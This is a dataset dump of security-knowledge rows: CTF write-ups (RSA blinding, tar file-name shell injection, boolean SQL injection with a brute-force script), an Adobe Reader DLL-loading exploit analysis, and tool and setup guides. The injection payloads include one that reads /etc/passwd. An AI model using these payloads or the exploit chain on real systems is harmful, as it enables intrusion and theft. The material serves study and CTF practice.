text
stringlengths
100
9.93M
category
stringclasses
11 values
# DaaS (crypto 50) ###ENG [PL](#pl-version) In the task we get the address of the remote service and the [source code](DaaS.py). We also get a file with RSA-encrypted flag. ``` flag = 0xc18b1d3b892e29863d8a6b46059995173635a3fd9f2ad877143a2d14ee736d8b12f9e735d6877a553312101eb757a0e3b3795bea88f2b4f72d1eb47ef6062a0dfd659892dfb2b98c70406e0c3e5e8624e81622b772d9e4183a29c9bf2f10ef15de3bfcb112a5f76688a146466db5a8e2dfe6679806c8e0b244458296efcba450 ``` The remote service can perform RSA-decode for any input we want, apart from the flag itself. The RSA implementation is not using any padding, and therefore it is homomorphic, which is what we use to break the encryption. Homomorphic property means in this case that `rsa_encrypt(a*b) = rsa_encrypt(a)*rsa_encrypt(b)` and the same goes for decrypt, since both are doing exactly the same mathematical operation - modular power. RSA encryption is `ciphertext = plaintext^e (mod n)` and decryption is `plaintext = ciphertext^d (mod n)`. We cannot ask the server to decrypt the flag for us, but we can ask it to decrypt `int(flag)/2`, which means we will get the value `enc_flag_2 = (enc_flag/2)^d (mod n)`. We can then ask the server to decrypt value `2` for us, which means we will get `two = 2^d (mod n)` Now if we simply multiply those numbers (mod n) we will get: `enc_flag_2 * two = (enc_flag/2)^d (mod n) * 2^d (mod n) = ((enc_flag/2)^d * 2^d) mod n = enc_flag^d mod n = flag` So we just sent `flag/2` and `2` as inputs and then recovered flag with: ```python def long_to_bytes(data): data = str(hex(data))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)]) n = 0xcd67fc599866f87bc45ff87c1634aa144ee257c963ab2541052f3b38d22a11b255b0dd9318153699664b1007b7f38118df77f703909888c3930b73221c57828fc423a643b1eaf47f03d6c24b11d907f979dae4aa47347959c7c77bda8f9804dd95cc438d75ced522c7391a5d1432978440bfacc9939a33d6e6e058b15a084f99 enc_flag_2 = 0x120643f13ec8942b09296bb1e08c3b1608804771815e7a138560e6e5801cae4c073d5f88f3ced989743818a91290f3772614462f3fa6af7cdf5b534ccb031124656117714f7ae602016b9bd732f366be53c59501d393caba6fb12e38b5e55ffc57ccbb4ce3c7a3e2d344cf2a7e487d45c4e0c76e0cf5e8846efdce0955f81930 two = 0x3a997500f5c2e8cb21996f73cc3d05f58a8f6003fa2e97481dc09f04517ffbf6ef6585f415cb2ea95449ab7ced07443e1b330deeed169bb3d88088167a37434cf1d39ce5b639c1b99a18279f26b8f2e197c0a94a291a6d2efb42adf27d082791be6e589e62dfbc85afc882996a4a68d474f0c334ef29b5a953ec4fbcff52bd38 print(long_to_bytes((enc_flag_2 * two) % n)) ``` Which gave `ECTF{Good job! You broke RSA!}` ###PL version W zadaniu dostajemy adres zdalnego serwera oraz [kod źródłowy](DaaS.py). Dostajemy także plik z flagą zaszyfrowaną za pomocą RSA. ``` flag = 0xc18b1d3b892e29863d8a6b46059995173635a3fd9f2ad877143a2d14ee736d8b12f9e735d6877a553312101eb757a0e3b3795bea88f2b4f72d1eb47ef6062a0dfd659892dfb2b98c70406e0c3e5e8624e81622b772d9e4183a29c9bf2f10ef15de3bfcb112a5f76688a146466db5a8e2dfe6679806c8e0b244458296efcba450 ``` Serwer pozwala zdekodować za pomocą RSA dowolne dane, oprócz samej flagi. Implementacja RSA nie używa paddingu, co oznacza że operacje są homomorficzne, co pozwala nam na złamanie szyfrowania. Homomorfizm w tym kontekście oznacza, że `rsa_encrypt(a*b) = rsa_encrypt(a)*rsa_encrypt(b)` i analogicznie dla operacji deszyfrowania, ponieważ obie funkcje realizują tą samą operacje matematyczną - potęgowanie modularne. Szyfrowanie RSA to `ciphertext = plaintext^e (mod n)` a deszyfrowanie `plaintext = ciphertext^d (mod n)`. Nie możemy poprosić serwra o deszyfrowanie flagi, ale możemy poprosić o deszyfrowanie `int(flag)/2`, co oznacza że dostaniemy wartość `enc_flag_2 = (enc_flag/2)^d (mod n)`. Teraz możemy poprosić serwer o dekodowanie wartości `2`, co oznacza że dostaniemy `two = 2^d (mod n)`. Teraz jeśli pomnożymy te liczby (mod n) dostaniemy: `enc_flag_2 * two = (enc_flag/2)^d (mod n) * 2^d (mod n) = ((enc_flag/2)^d * 2^d) mod n = enc_flag^d mod n = flag` Więc wysyłamy do serwera `flag/2` oraz `2` a następnie odzyskujemy flagę przez: ```python def long_to_bytes(data): data = str(hex(data))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)]) n = 0xcd67fc599866f87bc45ff87c1634aa144ee257c963ab2541052f3b38d22a11b255b0dd9318153699664b1007b7f38118df77f703909888c3930b73221c57828fc423a643b1eaf47f03d6c24b11d907f979dae4aa47347959c7c77bda8f9804dd95cc438d75ced522c7391a5d1432978440bfacc9939a33d6e6e058b15a084f99 enc_flag_2 = 0x120643f13ec8942b09296bb1e08c3b1608804771815e7a138560e6e5801cae4c073d5f88f3ced989743818a91290f3772614462f3fa6af7cdf5b534ccb031124656117714f7ae602016b9bd732f366be53c59501d393caba6fb12e38b5e55ffc57ccbb4ce3c7a3e2d344cf2a7e487d45c4e0c76e0cf5e8846efdce0955f81930 two = 0x3a997500f5c2e8cb21996f73cc3d05f58a8f6003fa2e97481dc09f04517ffbf6ef6585f415cb2ea95449ab7ced07443e1b330deeed169bb3d88088167a37434cf1d39ce5b639c1b99a18279f26b8f2e197c0a94a291a6d2efb42adf27d082791be6e589e62dfbc85afc882996a4a68d474f0c334ef29b5a953ec4fbcff52bd38 print(long_to_bytes((enc_flag_2 * two) % n)) ``` Co daje nam `ECTF{Good job! You broke RSA!}`
sec-knowleage
--- title: Quip.com date: 2022-11-23 16:23:31.697261 background: bg-[#e4795b] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 52 keyboard shortcuts found in Quip --- Keyboard Shortcuts ------------------ ### Anywhere Shortcut | Action ---|--- <code>\`</code> | Toggle styles between different types of headings and lists `Tab` | Indent a list item `Shift` `Tab` | De-indent a list item `Shift` `Enter` | Add a single space between lines `Esc` | Stop editing `Ctrl` `/` | List all keyboard shortcuts `Ctrl` `Alt` `Shift` `N` | Create a new ... `Ctrl` `Alt` `N` | Create a new document `Ctrl` `Alt` `M` | Create a new message `Ctrl` `Shift` `D` | Go to the desktop `Ctrl` `Alt` `O` | Search for a document, folder, or conversation `Ctrl` `Alt` `Left/Right` | Move between tabs in the desktop app {.shortcuts} ### Style Shortcuts Shortcut | Action ---|--- `Ctrl` `B` | Bold the selected text `Ctrl` `I` | Italicize the selected text `Ctrl` `U` | Underline the selected text `Ctrl` `Shift` `X` | Strikethrough the selected text `Ctrl` `Shift` `K` | Monospace (code style) the selected text `Ctrl` `Alt` `0` | Paragraph (normal text style) `Ctrl` `Alt` `1` | Large heading style `Ctrl` `Alt` `2` | Medium heading style `Ctrl` `Alt` `3` | Small heading style `Ctrl` `Shift` `L` | Bulleted list style `Ctrl` `Alt` `K` | Code block style {.shortcuts} ### Editing Shortcuts Shortcut | Action ---|--- `Ctrl` `Alt` `Up` | Move a list item up one line `Ctrl` `Alt` `Down` | Move a list item down one line `Ctrl` `Enter` | Check a list item `Ctrl` `Z` | Undo `Ctrl` `Shift` `Z` | Redo `Ctrl` `X` | Cut `Ctrl` `C` | Copy `Ctrl` `V` | Paste `Ctrl` `P` | Print document `Ctrl` `K` | Insert link `Ctrl` `N` | Next line `Ctrl` `P` | Previous line `Ctrl` `Alt` `C` | Hide or show conversation `Ctrl` `Shift` `C` | Add a comment `Ctrl` `Alt` `S` | Finish edit session `Ctrl` `Shift` `A` | Create an anchor link {.shortcuts} ### Spreadsheets Shortcut | Action ---|--- `Ctrl` `(arrows)` | Move to the edge of dat or the next non-empty cell `Ctrl` `Shift` `(arrows)` | Expand select to the edge of data or the next non-empty cell `Shift` `Space` | Select row `Ctrl` `Space` | Select column `Ctrl` `Enter` | Fill selection with entered text `Ctrl` `D` | Fill down in selection `Ctrl` `R` | Fill right in selection `Ctrl` `Backspace` | Scroll focused cell into view `Ctrl` `I` | Insert above or in front of selected rows or columns `Ctrl` `-` | Remove selected rows or columns `Ctrl` `;` | Insert current time `Ctrl` `:` | Insert today's date `Alt` `Enter` | Hard return within a cell {.shortcuts} Also see -------- - [Keyboard shortcuts for Quip](https://www.quipsupport.com/hc/en-us/articles/210436306-What-are-Quip-s-keyboard-shortcuts-) _(www.quipsupport.com)_
sec-knowleage
modetest === DRM/KMS驱动程序libdrm中的模式测试工具 ## 补充说明 `modetest` 是一个用于测试和验证 DRM(Direct Rendering Manager)驱动程序功能的命令行工具。 ### 安装 - **源码**:[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) - **下载**:[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) __编译__ ```shell ./configure --prefix=/opt/ --host=aarch64-linux-gnu make && make install ## 编译删除 make distclean ``` __参考__:[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) ### 语法 ```shell modetest [选项] ``` ### 选项 ```shell # 查询选项 -c 列出连接器 -e 列出编码器 -f 列出帧缓冲 -p 列出 CRTCs 和平面 # 测试选项 -P <plane_id>@<crtc_id>:<w>x<h>[+<x>+<y>][*<scale>][@<format>] 设置一个平面 -s <connector_id>[,<connector_id>][@<crtc_id>]:<mode>[-<vrefresh>][@<format>] 设置一个显示模式 -C 测试硬件光标 -v 测试垂直同步页面翻转 -w <obj_id>:<prop_name>:<value> 设置属性 # 通用选项 -a 启用原子模式设置 -d 在模式设置后放弃主控权限 -M <module> 指定要使用的驱动程序模块 -D <device> 指定要使用的设 ``` ### 参数 `<modele>` 驱动模块 - i915:Intel 集成显卡驱动模块 - amdgpu:AMD Radeon 显卡驱动模块 - radeon:旧版 AMD Radeon 显卡驱动模块 - nouveau:NVIDIA 开源显卡驱动模块 - vmwgfx:VMware 显卡驱动模块 - omapdrm:TI OMAP 显卡驱动模块 - exynos:三星 Exynos 显卡驱动模块 - tilcdc:TI LCD 控制器显卡驱动模块 - msm:Qualcomm MSM 显卡驱动模块 - sti:STMicroelectronics 显卡驱动模块 - tegra:NVIDIA Tegra 显卡驱动模块 - imx-drm:Freescale i.MX 显卡驱动模块 - rockchip:Rockchip 显卡驱动模块 ### 实例 使用 `modetest` 查看相关信息 ```shell ~# modetest Encoders: # 省略了好多好多 id crtc type possible crtcs possible clones 194 0 Virtual 0x0000000f 0x00000001 196 88 TMDS 0x00000002 0x00000002 210 0 DSI 0x00000004 0x00000004 213 0 TMDS 0x00000001 0x00000008 Connectors: # 省略了好多好多 id encoder status name size (mm) modes encoders 197 196 connected HDMI-A-1 530x300 10 196 mode # 巴拉巴拉非常多的一大串 211 210 connected DSI-1 184x114 1 210 214 0 disconnected DP-1 0x0 0 213 CRTCs: # 省略了好多好多**** id fb pos size 68 0 (0,0) (0x0) 0 0 0 0 0 0 0 0 0 0 flags: ; type: 88 0 (0,0) (0x0) 0 0 0 0 0 0 0 0 0 0 flags: ; type: 108 219 (0,0) (1200x1920) 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type: 128 0 (0,0) (0x0) 0 0 0 0 0 0 0 0 0 0 flags: ; type: Planes: # 省略了好多好多 id crtc fb CRTC x,y x,y gamma size possible crtcs 54 0 0 0,0 0,0 0 0x0000000f formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY 74 0 0 0,0 0,0 0 0x0000000f formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY 94 108 219 0,0 0,0 0 0x0000000f formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY ``` ------ 根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试 ```shell ~# modetest -M rockchip -s 211@108:1200x1920 -v freq: 59.90Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz freq: 59.87Hz ``` 在 `MIPI` 屏幕上将会看到闪烁的彩色块。 ------ ```shell ~# modetest -M rockchip -s 211@108:1200x1920 -C setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 starting cursor ``` 在 `MIPI` 屏幕上将会看到静止的彩色块。
sec-knowleage
## AdobeReader 逻辑漏洞(CVE-2021-21037) > 360漏洞研究院 王志远 发布于 2022-08-17 03:17 ### 漏洞描述 Acrobat Reader DC 版本 2020.013.20074(及更早)、2020.001.30018(及更早)和 2017.011.30188(及更早)受路径遍历漏洞影响。未经身份验证的攻击者可以利用此漏洞在当前用户设备中执行任意代码。 ### 影响范围 Acrobat Reader DC versions versions 2020.013.20074 (and earlier), 2020.001.30018 (and earlier) and 2017.011.30188 (and earlier) ### 漏洞详情 #### 漏洞位置 该漏洞为组合漏洞,其中: 1. DLL 加载逻辑漏洞位于XFA模块中,解析XFA语句的barcode类型type属性时,没有校验是否支持该barcode属性,直接尝试加载输入的值,导致任意DLL加载漏洞。 2. DLL 释放逻辑漏洞在创建“PDF包”的功能中(可创建包含任意类型的附件,并在预览时,释放至%temp%目录) #### 漏洞触发条件 上述两个漏洞组合即可完成一次远程任意代码执行漏洞利用。(需用户点击打开恶意 pdf) ![](png/adobe_path_travel_1.png) #### 漏洞原理 1. DLL 加载逻辑漏洞位于XFA模块中,解析XFA语句的barcode类型type属性时,没有校验是否支持该barcode属性,直接尝试加载输入的值,导致任意DLL加载漏洞。 2. DLL 释放逻辑漏洞在创建“PDF包”的功能中(可创建包含任意类型的附件,并在预览时,释放至%temp%目录) ### poc/exp #### DLL加载逻辑漏洞分析 我们在挖掘AdobeReader时发现一个DLL加载的逻辑漏洞,该漏洞位于XFA模块中,在解析XFA语句的barcode类型type属性时,没有校验是否支持该barcode属性,直接尝试加载输入的值,导致任意DLL加载漏洞。该漏洞从2006年至2021年初修复,POC无需做任何修改,期间无差别运行长达15年之久。POC如图1: ![图1:CVE-2021-21037 POC](png/adobe_path_travel_2.png) 运行POC并使用Process Monitor监控会发现:AdobeReader会尝试加载当前目录下的aaaaapmp.dll。如果输入值为\xxx.xxx.xxx.xxx\aaaaa时,则会加载远程IP共享目录下的DLL,如果输入值为c:\windows\aaaaa时,则会加载系统目录中的DLL。但是有一个限制是:AdobeReader在执行LoadLibrary之前,会执行类似strcpy(in_type, “pmp”)的语句,导致LoadLibrary目标文件的后缀只能是pmp.dll。 ![图2:Adobe Reader 7.0.7中复现(2006年01月版本)](png/adobe_path_travel_3.png) ![图3:Adobe Reader DC 2020.013.20074中复现(2021年01月版本)](png/adobe_path_travel_4.png) #### DLL释放逻辑漏洞分析 有了任意DLL加载漏洞之后,我们还缺少一个DLL释放的漏洞,AdobeAcrobat存在创建“PDF包”的功能,可以添加任意类型的附件到PDF中,并且可以在PDF中可以预览该附件,在预览时,该附件会被自动释放到%temp%目录下的随机目录中。我们使用这个方法将制作好的DLL添加到PDF中,使用JavaScript脚本释放到用户目录下的%temp%目录中,然后用barcode任意DLL加载漏洞执行%temp%目录下释放出来的DLL文件,由于目录名称是随机的,我们还需要分析一下随机目录的生成方式。PDF释放文件时,会在%temp%目录中创建随机目录并写入,随机目录生成代码位于sub_60059740函数,代码片段如图4。 ![图4:sub_60059740()函数片段](png/adobe_path_travel_5.png) 首先了解一下Windows短路径名命名规则:主文件名的长度如果超过了8个,系统自动截取前6个字符,然后加上~1。从代码中可以观察到随机目录生成格式为A9R+随机字符串+随机字符串+PID,由于A9R的存在,可以使用Windows短路径的方式遍历出这个目录,总共需要遍历4万多个路径,经过测试,触发时间大约10多分钟,但达不到我们的想要的速度。 ![图5:遍历所有路径](png/adobe_path_travel_6.png) #### 挖掘随机数转换逻辑漏洞 我从上述代码中发现了一个有意思的地方,随机数转换为字符串时使用itow()函数,并且参数设置为36进制,在使用itow将数值转换为36进制字符串时存在一个概率问题:转换后的随机路径第一位数有51%概率为“1”,0%概率为“0”,其他值为1%概率。如下图是我用C语言复现了AdobeReader使用itow()函数的转换方式,统计并打印出第一位随机数的概率。 ![图6:随机目录第一位数的概率](png/adobe_path_travel_7.png) 将此逻辑漏洞在AdobeReader中实践可以观察到:释放一次文件,有51%概率目录开头为A9R1,释放多次之后,生成开头为A9R1的目录概率约为100%。此时我们已经确定了Windows短路径的前4位内容,再遍历剩下2位路径,只需1000次遍历就可以在10秒左右加载指定DLL。 ![图7:%temp%目录下的随机目录](png/adobe_path_travel_8.png) ### 漏洞修复建议 官方已修复,相关用户升级补丁即可。 https://helpx.adobe.com/security/products/acrobat/apsb21-09.html
sec-knowleage
# BSidesSF CTF 2018 Team: shalom, nazywam, chivay ### Table of contents * [Rotaluklak (pwn)](pwn_rotaluklak)
sec-knowleage
# Job Portal (200, Web/Exploit) > They pretend to check your letter of application. > I want to proof that they are doing nothing to help you. Get me access to the filesystem! In this task we were given access to service allowing to upload tar files. When uploaded, we could check the tarball contents (file names only) on separate page. The URL extension was `.cgi`, which hinted at possible shell injection. Indeed, when we submitted tar with one file called `name; cat /etc/passwd`, we could read directory contents listed on the website. Getting the flag from there was just a matter of `cat`ting it.
sec-knowleage
# A Simple Question Web Exploitation, 650 points ## Description: > There is a website running at http://2018shell3.picoctf.com:15987 (link). Try to see if you can answer its question. ## Solution: We are presented with a web form which contains a single question: "What is the answer?". If we attempt to provide an arbitrary answer such as "42", we receive the following response: ``` SQL query: SELECT * FROM answers WHERE answer='42' Wrong. ``` This looks like it's inviting SQL injection, so we enter "'" and confirm this suspicion: ``` SQL query: SELECT * FROM answers WHERE answer=''' Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_1_38a5203a4bf2b6a7be17ddae277acc80/webroot/answer2.php on line 15 Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_1_38a5203a4bf2b6a7be17ddae277acc80/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_1_38a5203a4bf2b6a7be17ddae277acc80/webroot/answer2.php on line 17 ``` Trying various inputs brings us finally to the following one: ``` ' union SELECT answer from answers where answer like '% ``` Which outputs: ``` SQL query: SELECT * FROM answers WHERE answer='' union SELECT answer from answers where answer like '%' You are so close. ``` Playing around a bit more shows that we will need to use a boolean based injection attack. For example, sending: ``` ' union SELECT answer from answers where answer like '4% ``` Will result in: ``` SQL query: SELECT * FROM answers WHERE answer='' union SELECT answer from answers where answer like '4%' You are so close. ``` But, sending: ``` ' union SELECT answer from answers where answer like '5% ``` Will result in: ``` SQL query: SELECT * FROM answers WHERE answer='' union SELECT answer from answers where answer like '5%' Wrong. ``` So, we can write a trivial brute-forcer which performs the following: * Start with flag = "" * For each printable char c: * Set "partial_flag = flag + c" and try "`where answer like '<partial_flag>%`" * If "You are so close", append c to flag Performing this gives us the flag "41andsixsixths" (we were almost right with our original guess!). However, surprisingly, the form does not accept this as the correct answer. Our method has a flaw: It assumes that if a positive response was received from the server, c is part of the flag. This is not necessarily correct. Assume that the server will return "Wrong" if 0 results were returned from the query, and "You are so close" otherwise. Assume also that our table has two rows: ``` 41andsixsixths 41Andsixsixths ``` Our naive method continues to the next character once it receives a positive response from the server, while there might be several other characters which would return a positive response as well. Therefore, we must attempt all possible "branches". Therefore, the next step was to try and set an upper bound on the length of the answer. First, by brute forcing it: ```python import requests q = "' union SELECT answer from answers where length(answer) = {} and answer like '%" for i in range(100): r = requests.post("http://2018shell3.picoctf.com:15987/answer2.php", data = {"answer": q.format(i), "debug": 1}) if "You are so close." in r.text: print ("{}".format(i)) ``` Then by confirming that 14 was the only valid result: ``` Input: ' union SELECT answer from answers where length(answer) != 14 and answer like '% Output: SQL query: SELECT * FROM answers WHERE answer='' union SELECT answer from answers where length(answer) != 14 and answer like '%' Wrong. ``` So we know that the answer length is 14. Now we can create a wider brute force attack: ```python import requests import string URL = "http://2018shell3.picoctf.com:15987/answer2.php" FLAG_LEN = 14 SPECIAL_CHARS = "%_" def is_correct(guess): print ("Attempt: \t {}".format(guess)) r = requests.post(URL, data = {"answer": guess, "debug": 0}) if "You are so close." in r.text or "Wrong" in r.text: return False print ("Flag found: {}\n{}".format(guess, r.text)) return True def is_good_guess(guess): r = requests.post(URL, data = {"answer": "' union SELECT answer from answers where answer like '{}%".format(guess), "debug": 0}) return "You are so close." in r.text def solve(candidate): if len(candidate) == FLAG_LEN: return is_correct(candidate) for c in string.printable: if c == "'": continue if c in SPECIAL_CHARS: c = "\\" + c guess = candidate + c if is_good_guess(guess): if solve(guess): return True return False solve("") ``` We use recursion to backtrack, trying out every path that gives us a positive response. Running this gives the following (partial) output: ``` Attempt: 41andsixsixths Attempt: 41andsixsixthS Attempt: 41andsixsixtHs Attempt: 41andsixsixtHS Attempt: 41andsixsixThs Attempt: 41andsixsixThS Attempt: 41andsixsixTHs Attempt: 41andsixsixTHS Attempt: 41andsixsiXths Attempt: 41andsixsiXthS Attempt: 41andsixsiXtHs Attempt: 41andsixsiXtHS Attempt: 41andsixsiXThs Attempt: 41andsixsiXThS Attempt: 41andsixsiXTHs Attempt: 41andsixsiXTHS Attempt: 41andsixsIxths Attempt: 41andsixsIxthS Attempt: 41andsixsIxtHs Attempt: 41andsixsIxtHS Attempt: 41andsixsIxThs Attempt: 41andsixsIxThS Attempt: 41andsixsIxTHs Attempt: 41andsixsIxTHS Attempt: 41andsixsIXths Attempt: 41andsixsIXthS Attempt: 41andsixsIXtHs Attempt: 41andsixsIXtHS Attempt: 41andsixsIXThs Attempt: 41andsixsIXThS Attempt: 41andsixsIXTHs Attempt: 41andsixsIXTHS Attempt: 41andsixSixths Attempt: 41andsixSixthS Attempt: 41andsixSixtHs Attempt: 41andsixSixtHS ``` It goes on and on, but it's pretty safe to assume that all combinations of uppercase-lowercase spelling exist in the DB. While letting the script run in parallel, I tried to guess some common casing conventions, and got it right with CamelCase: `41AndSixSixths`. The output: ``` SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths' Perfect! Your flag is: picoCTF{qu3stions_ar3_h4rd_41da9e94} ``` The flag: picoCTF{qu3stions_ar3_h4rd_41da9e94}
sec-knowleage
# Exchange 搭建 --- **实验环境组成** - VMware - 一台 win2016 ,域控(为了你的身心健康着想,不要使用其他版本的 windows server 系统) --- ## 邮件服务器角色 在 exchange 2010 中,exchange 包含五个服务器角色,分别为邮箱服务器,客户端访问服务器,集线传输服务器,统一消息服务器,边缘传输服务器。 exchange 2013 中服务器为 3 个:邮箱服务器,客户端访问服务器,边缘传输服务器 exchange 2016 和 2019 中只有邮箱服务器和边缘传输服务器 --- ## 接口和协议 **OWA** owa 即 outlook web app, 即 outlook 的网页版。(outlook 是 exchange 的客户端软件,许多电脑都有所预装) - https://localhost/owa **ECP** Exchange Administrative Center, 即 exchange 管理中心,管理员的 web 控制台 - https://localhost/ecp **outlook anywhere** 作用是可以让外网用户直接通过 outlook anywhere 直接登录到 exchange 邮箱而无需使用 VPN。该特性在 exchange server 2013 中默认开启,也就是说在 exchange server 2013 以后 outlook 不再区分内外网环境。 **MAPI** 于 Exchange 2013 SP1 和 Outlook 2013 SP1 中被提出的一种新的 outlook 与 exchange 交互传输协议。 **EAS** Exchange ActiveSync 是一种允许用户通过移动设备或其他便携式设备访问和管理邮件、联系人、日历等 Exchange 功能的同步协议,在 Windows 上使用时其进程名称为 wcesomm.exe。” **EWS** Exchange Web Service,是 exchange 提供的一套 API 编程接口,用于操作 exchange 相关功能,于 exchange server 2007 被提出。 --- ## 功能和服务 **Autodiscover** Autodiscover,自动发现,是exchange server 2007 推出的一个服务。 该服务目的是简化用户登录流程:用户只需要输入自己的电子邮件地址和密码,就能够通过Autodiscover服务获取运行客户端应用程序所需的配置信息,该服务运行在客户端访问服务器上。 **GAL** GAL即全局地址表(global address list) 记录了域中用户的基本信息与其邮箱地址,以形成域用户与邮箱用户之间的关联。 --- ## 搭建过程 先搭建好域控和 DNS 服务器 然后一路下一步搭建完毕后,下载 .NET Framework 4.8 和几个依赖 - https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/0fd66638cde16859462a6243a4629a50/ndp48-x86-x64-allos-enu.exe - https://www.microsoft.com/download/details.aspx?id=30679 - 英文版 - https://www.microsoft.com/en-us/download/confirmation.aspx?id=34992 - 英文版 - https://www.microsoft.com/download/details.aspx?id=40784 - 英文版 管理员模式运行 powershell 安装所需组件 ``` Install-WindowsFeature RSAT-ADDS ``` 都安装完毕后重启,一定要重启 然后下载 Exchange Server 2016,运行 setup.exe 安装 - https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114 这里会走一个先决条件判断,有可能会失败,按照要求装补丁即可 访问本地 - https://localhost/ecp - https://localhost/owa --- ## Source & Reference - [Exchange Server 2016 正式安装部署](https://blog.csdn.net/zhaowei198311/article/details/107391577) - [Exchange系列文章——Exchange2019部署安装](https://www.xiaobei.us/archives/775.html) - [规划和部署 Exchange Server 2019](https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/plan-and-deploy?view=exchserver-2019) - [Exchange Server 2019 必备组件](https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2019) - [Windows 2019 Server issues with Installing Exchange](https://www.reddit.com/r/sysadmin/comments/dg58ft/windows_2019_server_issues_with_installing/) - [Enable UAC Prompt for Built-in Administrator in Windows 10](https://winaero.com/enable-uac-prompt-built-in-administrator-windows-10/) - [在sever2019上安装exchange2016出错怎么解决](https://social.technet.microsoft.com/Forums/zh-CN/4f5566df-7b5a-4cd2-b846-27eee41ab230/22312sever2019199782343335013exchange2016209863816924590200403529920915?forum=exchangeserverzhchs) - [Exchange Server 必备组件 2016](https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016)
sec-knowleage
# MacOS 的安全和隐私指南 > * 原文地址:[macOS Security and Privacy Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide) > * 原文作者:[drduh](https://github.com/drduh) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Nicolas(Yifei) Li](https://github.com/yifili09), [MAYDAY1993](https://github.com/MAYDAY1993), [DeadLion](https://github.com/DeadLion) > * 校对者:[lovelyCiTY](https://github.com/lovelyCiTY), [sqrthree](https://github.com/sqrthree) > * 这个 [链接](https://github.com/xitu/macOS-Security-and-Privacy-Guide/compare/master...drduh:master) 用来查看本翻译与英文版是否有差别(如果你没有看到 README.md 发生变化,那就意味着这份翻译文档是最新的)。 这里汇集了一些想法,它们是有关如何保护运行了 macOS 10.12 "Sierra" 操作系统(以前是 **OS X**)的现代化苹果 Mac 电脑,也包含了一些提高个人网络隐私的小贴士。 这份指南的目标读者是那些希望采用企业级安全标准的"高级用户",但是也适用于那些想在 Mac 上提高个人隐私和安全性的初级用户们。 一个系统的安全与否完全取决于管理员的能力。没有一个单独的技术、软件,或者任何一个科技能保证计算机完全安全;现代的计算机和操作系统都是非常复杂的,并且需要大量的增量修改才能获得在安全性和隐私性上真正意义的提高。 **免责声明**:若按照以下操作后对您的 Mac 电脑造成损伤,**望您自行负责**。 如果你发现了本文中的错误或者有待改进的内容,请提交 `pull request` 或者 [创建一个 `issue`](https://github.com/drduh/OS-X-Security-and-Privacy-Guide/issues). - [基础知识](#基础知识) - [固件](#固件) - [准备和安装 macOS](#准备和安装-macos) - [虚拟机](#虚拟机) - [首次启动](#首次启动) - [管理员和普通用户账号](#管理员和普通用户账号) - [对整个磁盘进行数据加密](#对整个磁盘进行数据加密) - [防火墙](#防火墙) - [应用程序层的防火墙](#应用程序层的防火墙) - [第三方防火墙](#第三方防火墙) - [内核级的数据包过滤](#内核级的数据包过滤) - [系统服务](#系统服务) - [Spotlight 建议](#spotlight-建议) - [Homebrew](#homebrew) - [DNS](#dns) - [Hosts 文件](#hosts-文件) - [Dnsmasq](#dnsmasq) - [检测 DNSSEC 验证](#检测-dnssec-验证) - [DNSCrypt](#dnscrypt) - [Captive portal](#captive-portal) - [证书授权](#证书授权) - [OpenSSL](#openssl) - [Curl](#curl) - [Web](#web) - [代理](#代理) - [浏览器](#浏览器) - [插件](#插件) - [PGP/GPG](#pgpgpg) - [OTR](#otr) - [Tor](#tor) - [VPN](#vpn) - [病毒和恶意软件](#病毒和恶意软件) - [系统完整性保护](#系统完整性保护) - [Gatekeeper 和 XProtect](#gatekeeper-和-xprotect) - [密码](#密码) - [备份](#备份) - [Wi-Fi](#wi-fi) - [SSH](#ssh) - [物理访问](#物理访问) - [系统监控](#系统监控) - [OpenBSM 监测](#openbsm-监测) - [DTrace](#dtrace) - [运行](#运行) - [网络](#网络) - [二进制白名单](#二进制白名单) - [其它](#其它) - [相关软件](#相关软件) - [其它资源](#其它资源) ## 基础知识 安全标准的最佳实践适用于以下几点: * 创建一个威胁模型 * 考虑下什么是你需要保护的,避免谁的侵害?你的对手会是一个 [TLA](https://theintercept.com/document/2015/03/10/strawhorse-attacking-macos-ios-software-development-kit/) 机构么?(如果是的,你需要考虑替换使用 [OpenBSD](http://www.openbsd.org)),或者是一个在网络上好管闲事的偷听者,还是一起针对你精心策划的 [apt](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 网络攻击? * 研究并识别出[那些威胁](https://www.usenix.org/system/files/1401_08-12_mickens.pdf),想一想如何减少被攻击的面。 * 保持系统更新 * 请为你的系统和软件持续更新补丁!更新补丁!更新补丁!(重要的事情说三遍)。 * 可以使用 `App Store` 应用程序来完成对 `macOS` 系统的更新,或者使用命令行工具 `softwareupdate`,这两个都不需要注册苹果账号。 * 请为那些你经常使用的程序,订阅公告邮件列表(例如,[Apple 